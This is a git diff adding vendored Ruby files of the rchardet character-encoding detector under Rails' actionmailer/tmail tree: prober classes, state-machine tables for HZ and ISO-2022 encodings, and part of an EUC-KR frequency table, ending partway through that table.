b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetprober.rb @@ -0,0 +1,75 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class CharSetProber + attr_accessor :active + def initialize + end + + def reset + @_mState = EDetecting + end + + def get_charset_name + return nil + end + + def feed(aBuf) + end + + def get_state + return @_mState + end + + def get_confidence + return 0.0 + end + + def filter_high_bit_only(aBuf) + # DO NOT USE `gsub!` + # It will remove all characters from the buffer that is later used by + # other probers. This is because gsub! removes data from the instance variable + # that will be passed to later probers, while gsub makes a new instance variable + # that will not. + newBuf = aBuf.gsub(/([\x00-\x7F])+/, ' ') + return newBuf + end + + def filter_without_english_letters(aBuf) + newBuf = aBuf.gsub(/([A-Za-z])+/,' ') + return newBuf + end + + def filter_with_english_letters(aBuf) + # TODO + return aBuf + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/codingstatemachine.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/codingstatemachine.rb new file mode 100755 index 00000000..24fda79c --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/codingstatemachine.rb @@ -0,0 +1,64 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class CodingStateMachine + def initialize(sm) + @_mModel = sm + @_mCurrentBytePos = 0 + @_mCurrentCharLen = 0 + reset() + end + + def reset + @_mCurrentState = EStart + end + + def next_state(c) + # for each byte we get its class + # if it is first byte, we also get byte length + byteCls = @_mModel['classTable'][c[0]] + if @_mCurrentState == EStart + @_mCurrentBytePos = 0 + @_mCurrentCharLen = @_mModel['charLenTable'][byteCls] + end + # from byte's class and stateTable, we get its next state + @_mCurrentState = @_mModel['stateTable'][@_mCurrentState * @_mModel['classFactor'] + byteCls] + @_mCurrentBytePos += 1 + return @_mCurrentState + end + + def get_current_charlen + return @_mCurrentCharLen + end + + def get_coding_state_machine + return @_mModel['name'] + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/constants.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/constants.rb new file mode 100755 index 00000000..156b4af7 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/constants.rb @@ -0,0 +1,42 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + $debug = false + + EDetecting = 0 + EFoundIt = 1 + ENotMe = 2 + + EStart = 0 + EError = 1 + EItsMe = 2 + + SHORTCUT_THRESHOLD = 0.95 +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escprober.rb new file mode 100755 index 00000000..288e3eb6 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escprober.rb @@ -0,0 +1,89 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class EscCharSetProber < CharSetProber + def initialize + super() + @_mCodingSM = [ CodingStateMachine.new(HZSMModel), + CodingStateMachine.new(ISO2022CNSMModel), + CodingStateMachine.new(ISO2022JPSMModel), + CodingStateMachine.new(ISO2022KRSMModel) ] + reset() + end + + def reset + super() + for codingSM in @_mCodingSM + next if not codingSM + codingSM.active = true + codingSM.reset() + end + @_mActiveSM = @_mCodingSM.length + @_mDetectedCharset = nil + end + + def get_charset_name + return @_mDetectedCharset + end + + def get_confidence + if @_mDetectedCharset + return 0.99 + else + return 0.00 + end + end + + def feed(aBuf) + aBuf.each_byte do |b| + c = b.chr + for codingSM in @_mCodingSM + next unless codingSM + next unless codingSM.active + codingState = codingSM.next_state(c) + if codingState == EError + codingSM.active = false + @_mActiveSM -= 1 + if @_mActiveSM <= 0 + @_mState = ENotMe + return get_state() + end + elsif codingState == EItsMe + @_mState = EFoundIt + @_mDetectedCharset = codingSM.get_coding_state_machine() + return get_state() + end + end + end + return get_state() + + end + + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escsm.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escsm.rb new file mode 100755 index 00000000..c1969c68 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escsm.rb @@ -0,0 +1,244 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + HZ_cls = [ + 1,0,0,0,0,0,0,0, # 00 - 07 + 0,0,0,0,0,0,0,0, # 08 - 0f + 0,0,0,0,0,0,0,0, # 10 - 17 + 0,0,0,1,0,0,0,0, # 18 - 1f + 0,0,0,0,0,0,0,0, # 20 - 27 + 0,0,0,0,0,0,0,0, # 28 - 2f + 0,0,0,0,0,0,0,0, # 30 - 37 + 0,0,0,0,0,0,0,0, # 38 - 3f + 0,0,0,0,0,0,0,0, # 40 - 47 + 0,0,0,0,0,0,0,0, # 48 - 4f + 0,0,0,0,0,0,0,0, # 50 - 57 + 0,0,0,0,0,0,0,0, # 58 - 5f + 0,0,0,0,0,0,0,0, # 60 - 67 + 0,0,0,0,0,0,0,0, # 68 - 6f + 0,0,0,0,0,0,0,0, # 70 - 77 + 0,0,0,4,0,5,2,0, # 78 - 7f + 1,1,1,1,1,1,1,1, # 80 - 87 + 1,1,1,1,1,1,1,1, # 88 - 8f + 1,1,1,1,1,1,1,1, # 90 - 97 + 1,1,1,1,1,1,1,1, # 98 - 9f + 1,1,1,1,1,1,1,1, # a0 - a7 + 1,1,1,1,1,1,1,1, # a8 - af + 1,1,1,1,1,1,1,1, # b0 - b7 + 1,1,1,1,1,1,1,1, # b8 - bf + 1,1,1,1,1,1,1,1, # c0 - c7 + 1,1,1,1,1,1,1,1, # c8 - cf + 1,1,1,1,1,1,1,1, # d0 - d7 + 1,1,1,1,1,1,1,1, # d8 - df + 1,1,1,1,1,1,1,1, # e0 - e7 + 1,1,1,1,1,1,1,1, # e8 - ef + 1,1,1,1,1,1,1,1, # f0 - f7 + 1,1,1,1,1,1,1,1, # f8 - ff + ] + + HZ_st = [ + EStart,EError, 3,EStart,EStart,EStart,EError,EError,# 00-07 + EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,# 08-0f + EItsMe,EItsMe,EError,EError,EStart,EStart, 4,EError,# 10-17 + 5,EError, 6,EError, 5, 5, 4,EError,# 18-1f + 4,EError, 4, 4, 4,EError, 4,EError,# 20-27 + 4,EItsMe,EStart,EStart,EStart,EStart,EStart,EStart,# 28-2f + ] + + HZCharLenTable = [0, 0, 0, 0, 0, 0] + + HZSMModel = {'classTable' => HZ_cls, + 'classFactor' => 6, + 'stateTable' => HZ_st, + 'charLenTable' => HZCharLenTable, + 'name' => "HZ-GB-2312" +} + +ISO2022CN_cls = [ +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,0,0, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,0,0,0,0, # 20 - 27 +0,3,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +0,0,0,4,0,0,0,0, # 40 - 47 +0,0,0,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +] + +ISO2022CN_st = [ +EStart, 3,EError,EStart,EStart,EStart,EStart,EStart,# 00-07 +EStart,EError,EError,EError,EError,EError,EError,EError,# 08-0f +EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,# 10-17 +EItsMe,EItsMe,EItsMe,EError,EError,EError, 4,EError,# 18-1f +EError,EError,EError,EItsMe,EError,EError,EError,EError,# 20-27 + 5, 6,EError,EError,EError,EError,EError,EError,# 28-2f +EError,EError,EError,EItsMe,EError,EError,EError,EError,# 30-37 +EError,EError,EError,EError,EError,EItsMe,EError,EStart,# 38-3f +] + +ISO2022CNCharLenTable = [0, 0, 0, 0, 0, 0, 0, 0, 0] + +ISO2022CNSMModel = {'classTable' => ISO2022CN_cls, + 'classFactor' => 9, + 'stateTable' => ISO2022CN_st, + 'charLenTable' => ISO2022CNCharLenTable, + 'name' => "ISO-2022-CN" +} + +ISO2022JP_cls = [ +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,2,2, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,7,0,0,0, # 20 - 27 +3,0,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +6,0,4,0,8,0,0,0, # 40 - 47 +0,9,5,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +] + +ISO2022JP_st = [ +EStart, 3,EError,EStart,EStart,EStart,EStart,EStart,# 00-07 +EStart,EStart,EError,EError,EError,EError,EError,EError,# 08-0f +EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,# 10-17 +EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EItsMe,EError,EError,# 18-1f +EError, 5,EError,EError,EError, 4,EError,EError,# 20-27 +EError,EError,EError, 6,EItsMe,EError,EItsMe,EError,# 28-2f +EError,EError,EError,EError,EError,EError,EItsMe,EItsMe,# 30-37 +EError,EError,EError,EItsMe,EError,EError,EError,EError,# 38-3f +EError,EError,EError,EError,EItsMe,EError,EStart,EStart,# 40-47 +] + +ISO2022JPCharLenTable = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0] + +ISO2022JPSMModel = {'classTable' => ISO2022JP_cls, + 'classFactor' => 10, + 'stateTable' => ISO2022JP_st, + 'charLenTable' => ISO2022JPCharLenTable, + 'name' => "ISO-2022-JP" +} + +ISO2022KR_cls = [ +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,0,0, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,3,0,0,0, # 20 - 27 +0,4,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +0,0,0,5,0,0,0,0, # 40 - 47 +0,0,0,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +] + +ISO2022KR_st = [ +EStart, 3,EError,EStart,EStart,EStart,EError,EError,# 00-07 +EError,EError,EError,EError,EItsMe,EItsMe,EItsMe,EItsMe,# 08-0f +EItsMe,EItsMe,EError,EError,EError, 4,EError,EError,# 10-17 +EError,EError,EError,EError, 5,EError,EError,EError,# 18-1f +EError,EError,EError,EItsMe,EStart,EStart,EStart,EStart,# 20-27 +] + +ISO2022KRCharLenTable = [0, 0, 0, 0, 0, 0] + +ISO2022KRSMModel = {'classTable' => ISO2022KR_cls, + 'classFactor' => 6, + 'stateTable' => ISO2022KR_st, + 'charLenTable' => ISO2022KRCharLenTable, + 'name' => "ISO-2022-KR" +} +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/eucjpprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/eucjpprober.rb new file mode 100755 index 00000000..1fb0eebf --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/eucjpprober.rb @@ -0,0 +1,88 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class EUCJPProber < MultiByteCharSetProber + def initialize + super() + @_mCodingSM = CodingStateMachine.new(EUCJPSMModel) + @_mDistributionAnalyzer = EUCJPDistributionAnalysis.new() + @_mContextAnalyzer = EUCJPContextAnalysis.new() + reset + end + + def reset + super() + @_mContextAnalyzer.reset() + end + + def get_charset_name + return "EUC-JP" + end + + def feed(aBuf) + aLen = aBuf.length + for i in (0...aLen) + codingState = @_mCodingSM.next_state(aBuf[i..i]) + if codingState == EError + $stderr << "#{get_charset_name} prober hit error at byte #{i}\n" if $debug + @_mState = ENotMe + break + elsif codingState == EItsMe + @_mState = EFoundIt + break + elsif codingState == EStart + charLen = @_mCodingSM.get_current_charlen() + if i == 0 + @_mLastChar[1] = aBuf[0..0] + @_mContextAnalyzer.feed(@_mLastChar, charLen) + @_mDistributionAnalyzer.feed(@_mLastChar, charLen) + else + @_mContextAnalyzer.feed(aBuf[i-1...i+1], charLen) + @_mDistributionAnalyzer.feed(aBuf[i-1...i+1], charLen) + end + end + end + + @_mLastChar[0] = aBuf[aLen-1..aLen-1] + + if get_state() == EDetecting + if @_mContextAnalyzer.got_enough_data() and (get_confidence() > SHORTCUT_THRESHOLD) + @_mState = EFoundIt + end + end + + return get_state() + end + + def get_confidence + l = [@_mContextAnalyzer.get_confidence,@_mDistributionAnalyzer.get_confidence] + return l.max + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrfreq.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrfreq.rb new file mode 100755 index 00000000..764a34f3 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrfreq.rb @@ -0,0 +1,596 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# Sampling from about 20M text materials include literature and computer technology + +# 128 --> 0.79 +# 256 --> 0.92 +# 512 --> 0.986 +# 1024 --> 0.99944 +# 2048 --> 0.99999 +# +# Idea Distribution Ratio = 0.98653 / (1-0.98653) = 73.24 +# Random Distribution Ration = 512 / (2350-512) = 0.279. +# +# Typical Distribution Ratio +module CharDet +EUCKR_TYPICAL_DISTRIBUTION_RATIO = 6.0 + +EUCKR_TABLE_SIZE = 2352 + +# Char to FreqOrder table , +EUCKRCharToFreqOrder = [ + 13, 130, 120,1396, 481,1719,1720, 328, 609, 212,1721, 707, 400, 299,1722, 87, +1397,1723, 104, 536,1117,1203,1724,1267, 685,1268, 508,1725,1726,1727,1728,1398, +1399,1729,1730,1731, 141, 621, 326,1057, 368,1732, 267, 488, 20,1733,1269,1734, + 945,1400,1735, 47, 904,1270,1736,1737, 773, 248,1738, 409, 313, 786, 429,1739, + 116, 987, 813,1401, 683, 75,1204, 145,1740,1741,1742,1743, 16, 847, 667, 622, + 708,1744,1745,1746, 966, 787, 304, 129,1747, 60, 820, 123, 676,1748,1749,1750, +1751, 617,1752, 626,1753,1754,1755,1756, 653,1757,1758,1759,1760,1761,1762, 856, + 344,1763,1764,1765,1766, 89, 401, 418, 806, 905, 848,1767,1768,1769, 946,1205, + 709,1770,1118,1771, 241,1772,1773,1774,1271,1775, 569,1776, 999,1777,1778,1779, +1780, 337, 751,1058, 28, 628, 254,1781, 177, 906, 270, 349, 891,1079,1782, 19, +1783, 379,1784, 315,1785, 629, 754,1402, 559,1786, 636, 203,1206,1787, 710, 567, +1788, 935, 814,1789,1790,1207, 766, 528,1791,1792,1208,1793,1794,1795,1796,1797, +1403,1798,1799, 533,1059,1404,1405,1156,1406, 936, 884,1080,1800, 351,1801,1802, +1803,1804,1805, 801,1806,1807,1808,1119,1809,1157, 714, 474,1407,1810, 298, 899, + 885,1811,1120, 802,1158,1812, 892,1813,1814,1408, 659,1815,1816,1121,1817,1818, +1819,1820,1821,1822, 319,1823, 594, 545,1824, 815, 937,1209,1825,1826, 573,1409, +1022,1827,1210,1828,1829,1830,1831,1832,1833, 556, 722, 807,1122,1060,1834, 697, +1835, 900, 557, 715,1836,1410, 540,1411, 752,1159, 294, 597,1211, 976, 803, 770, +1412,1837,1838, 39, 794,1413, 358,1839, 371, 925,1840, 453, 661, 788, 531, 723, + 544,1023,1081, 869, 91,1841, 392, 430, 790, 602,1414, 677,1082, 457,1415,1416, +1842,1843, 475, 327,1024,1417, 795, 121,1844, 733, 403,1418,1845,1846,1847, 300, + 119, 711,1212, 627,1848,1272, 207,1849,1850, 796,1213, 382,1851, 519,1852,1083, + 893,1853,1854,1855, 367, 809, 487, 671,1856, 663,1857,1858, 956, 471, 306, 857, +1859,1860,1160,1084,1861,1862,1863,1864,1865,1061,1866,1867,1868,1869,1870,1871, + 282, 96, 574,1872, 502,1085,1873,1214,1874, 907,1875,1876, 827, 977,1419,1420, +1421, 268,1877,1422,1878,1879,1880, 308,1881, 2, 537,1882,1883,1215,1884,1885, + 127, 791,1886,1273,1423,1887, 34, 336, 404, 643,1888, 571, 654, 894, 840,1889, + 0, 886,1274, 122, 575, 260, 908, 938,1890,1275, 410, 316,1891,1892, 100,1893, +1894,1123, 48,1161,1124,1025,1895, 633, 901,1276,1896,1897, 115, 816,1898, 317, +1899, 694,1900, 909, 734,1424, 572, 866,1425, 691, 85, 524,1010, 543, 394, 841, +1901,1902,1903,1026,1904,1905,1906,1907,1908,1909, 30, 451, 651, 988, 310,1910, +1911,1426, 810,1216, 93,1912,1913,1277,1217,1914, 858, 759, 45, 58, 181, 610, + 269,1915,1916, 131,1062, 551, 443,1000, 821,1427, 957, 895,1086,1917,1918, 375, +1919, 359,1920, 687,1921, 822,1922, 293,1923,1924, 40, 662, 118, 692, 29, 939, + 887, 640, 482, 174,1925, 69,1162, 728,1428, 910,1926,1278,1218,1279, 386, 870, + 217, 854,1163, 823,1927,1928,1929,1930, 834,1931, 78,1932, 859,1933,1063,1934, +1935,1936,1937, 438,1164, 208, 595,1938,1939,1940,1941,1219,1125,1942, 280, 888, +1429,1430,1220,1431,1943,1944,1945,1946,1947,1280, 150, 510,1432,1948,1949,1950, +1951,1952,1953,1954,1011,1087,1955,1433,1043,1956, 881,1957, 614, 958,1064,1065, +1221,1958, 638,1001, 860, 967, 896,1434, 989, 492, 553,1281,1165,1959,1282,1002, +1283,1222,1960,1961,1962,1963, 36, 383, 228, 753, 247, 454,1964, 876, 678,1965, +1966,1284, 126, 464, 490, 835, 136, 672, 529, 940,1088,1435, 473,1967,1968, 467, + 50, 390, 227, 587, 279, 378, 598, 792, 968, 240, 151, 160, 849, 882,1126,1285, + 639,1044, 133, 140, 288, 360, 811, 563,1027, 561, 142, 523,1969,1970,1971, 7, + 103, 296, 439, 407, 506, 634, 990,1972,1973,1974,1975, 645,1976,1977,1978,1979, +1980,1981, 236,1982,1436,1983,1984,1089, 192, 828, 618, 518,1166, 333,1127,1985, + 818,1223,1986,1987,1988,1989,1990,1991,1992,1993, 342,1128,1286, 746, 842,1994, +1995, 560, 223,1287, 98, 8, 189, 650, 978,1288,1996,1437,1997, 17, 345, 250, + 423, 277, 234, 512, 226, 97, 289, 42, 167,1998, 201,1999,2000, 843, 836, 824, + 532, 338, 783,1090, 182, 576, 436,1438,1439, 527, 500,2001, 947, 889,2002,2003, +2004,2005, 262, 600, 314, 447,2006, 547,2007, 693, 738,1129,2008, 71,1440, 745, + 619, 688,2009, 829,2010,2011, 147,2012, 33, 948,2013,2014, 74, 224,2015, 61, + 191, 918, 399, 637,2016,1028,1130, 257, 902,2017,2018,2019,2020,2021,2022,2023, +2024,2025,2026, 837,2027,2028,2029,2030, 179, 874, 591, 52, 724, 246,2031,2032, +2033,2034,1167, 969,2035,1289, 630, 605, 911,1091,1168,2036,2037,2038,1441, 912, +2039, 623,2040,2041, 253,1169,1290,2042,1442, 146, 620, 611, 577, 433,2043,1224, + 719,1170, 959, 440, 437, 534, 84, 388, 480,1131, 159, 220, 198, 679,2044,1012, + 819,1066,1443, 113,1225, 194, 318,1003,1029,2045,2046,2047,2048,1067,2049,2050, +2051,2052,2053, 59, 913, 112,2054, 632,2055, 455, 144, 739,1291,2056, 273, 681, + 499,2057, 448,2058,2059, 760,2060,2061, 970, 384, 169, 245,1132,2062,2063, 414, +1444,2064,2065, 41, 235,2066, 157, 252, 877, 568, 919, 789, 580,2067, 725,2068, 